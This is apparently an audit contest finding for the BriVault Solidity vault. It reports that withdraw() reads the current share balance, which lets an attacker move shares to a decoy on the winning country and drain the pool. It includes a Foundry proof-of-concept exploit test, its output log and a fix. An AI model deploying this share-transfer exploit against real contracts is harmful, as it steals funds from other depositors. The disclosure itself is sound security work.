BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Draining Winner Pool via Share Transfer

Root + Impact

Description

  • The withdraw function should only pay out winnings to users based on the number of shares they originally staked for the winning country.

  • Unfortunately, the withdraw function uses a user's current balanceOf() in calculation. An attacker can transfer shares to a winning "decoy" account after the winner is known, allowing that decoy to claim a disproportionately large share of the prize pool and drain funds from other legitimate winners.

function withdraw() external winnerSet {
@> // issue -> Reads the *current* balance, which can be inflated by receiving transferred shares after the winner is known.
@> uint256 shares = balanceOf(msg.sender);
uint256 vaultAsset = finalizedVaultAsset;
@> uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}

Risk

Likelihood:

  • This is a deliberate, permissionless, and highly profitable attack that any user can perform, not a bug triggered by normal use.

  • The attack is guaranteed to succeed and has zero risk, as the attacker only needs to transfer their shares to their pre-planted winning decoy after the winner has already been announced.

Impact:

  • The attacker's winning decoy, with its massively inflated share balance, drains a disproportionately large amount of the finalizedVaultAsset.

  • This theft is at the direct expense of other legitimate winners in the same pool.

Proof of Concept

An attacker deploys tiny-stake decoys to cover every possible country, transfers their main (large) share balance to whichever decoy wins after the winner is announced, and uses that decoy to drain the prize pool before other legitimate winners can withdraw.

contract Decoy {
BriVault public briVault;
MockERC20 public mockToken;
constructor(address _briVault, address _token) {
briVault = BriVault(_briVault);
mockToken = MockERC20(_token);
}
function deposit_and_join(uint256 _amount, uint256 _event) external {
mockToken.approve(address(briVault), 0.00024 ether);
briVault.deposit(_amount, address(this));
briVault.joinEvent(_event);
}
}
function test_guaranteeWin() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
address [] memory list_decoy = new address[](48); // 1. Attacker creates 48 decoys to cover all countries
for(uint i=0; i<48; i++){
Decoy decoy = new Decoy(address(briVault), address(mockToken));
mockToken.transfer(address(decoy), 0.00024 ether);
decoy.deposit_and_join(0.00024 ether, i);
list_decoy[i] = address(decoy);
}
mockToken.approve(address(briVault), 20 ether - 0.00024 ether * 48); // 2. Attacker deposits a large amount but doesn't join
briVault.deposit(20 ether - 0.00024 ether * 48, user1);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 20 ether); // 3. Victims deposit and join country 1
briVault.deposit(20 ether, user2);
briVault.joinEvent(1);
vm.stopPrank();
vm.startPrank(user3);
mockToken.approve(address(briVault), 20 ether);
briVault.deposit(20 ether, user3);
briVault.joinEvent(1);
vm.stopPrank();
vm.startPrank(owner); // 4. Winner is announced
vm.warp(eventEndDate + 1);
briVault.setWinner(1);
vm.stopPrank();
vm.startPrank(user1);
address decoy_win = list_decoy[1]; // 5. Attacker transfers all shares to the winning decoy
@> briVault.transfer(decoy_win, briVault.balanceOf(user1));
vm.stopPrank();
@> vm.startPrank(decoy_win); // 6. Decoy withdraws its inflated share
briVault.withdraw();
mockToken.transfer(user1, mockToken.balanceOf(decoy_win));
uint256 bal = mockToken.balanceOf(user1);
console.log("user 1 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
vm.stopPrank();
vm.startPrank(user2);
briVault.withdraw();
bal = mockToken.balanceOf(user2);
console.log("user 2 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
// 7. user3 want to withdraw like user2 but the vault is empty.
vm.startPrank(user3);
@> vm.expectRevert();
briVault.withdraw();
bal = mockToken.balanceOf(address(briVault));
console.log("brivault balance (ETH)", bal / 1 ether, ".", bal % 1 ether);
vm.stopPrank();
}

Output Log:

[PASS] test_guaranteeWin() (gas: 27153246)
Logs:
user 1 token balance: 29 . 533156601060393637
user 2 shares balance: 19 . 700000000000000000
user 2 token balance: 29 . 549822701063793617
user 3 shares balance: 19 . 700000000000000000
brivault token balance: 0 . 17020697875812746

Recommended Mitigation

The withdraw function must only use the snapshot of shares recorded in userSharesToCountry during joinEvent, not the current balanceOf. This prevents transferred shares from inflating the payout.

function withdraw() external winnerSet {
- // issue -> Reads the current, manipulatable balance
- uint256 shares = balanceOf(msg.sender);
+ // Use the snapshot of shares recorded when the user joined.
+ uint256 shares = userSharesToCountry[msg.sender][winnerCountryId];
+ if (shares == 0) revert noDeposit(); // Prevent double withdrawal
+ userSharesToCountry[msg.sender][winnerCountryId] = 0;
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
Updates

Appeal created

bube Lead Judge 20 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!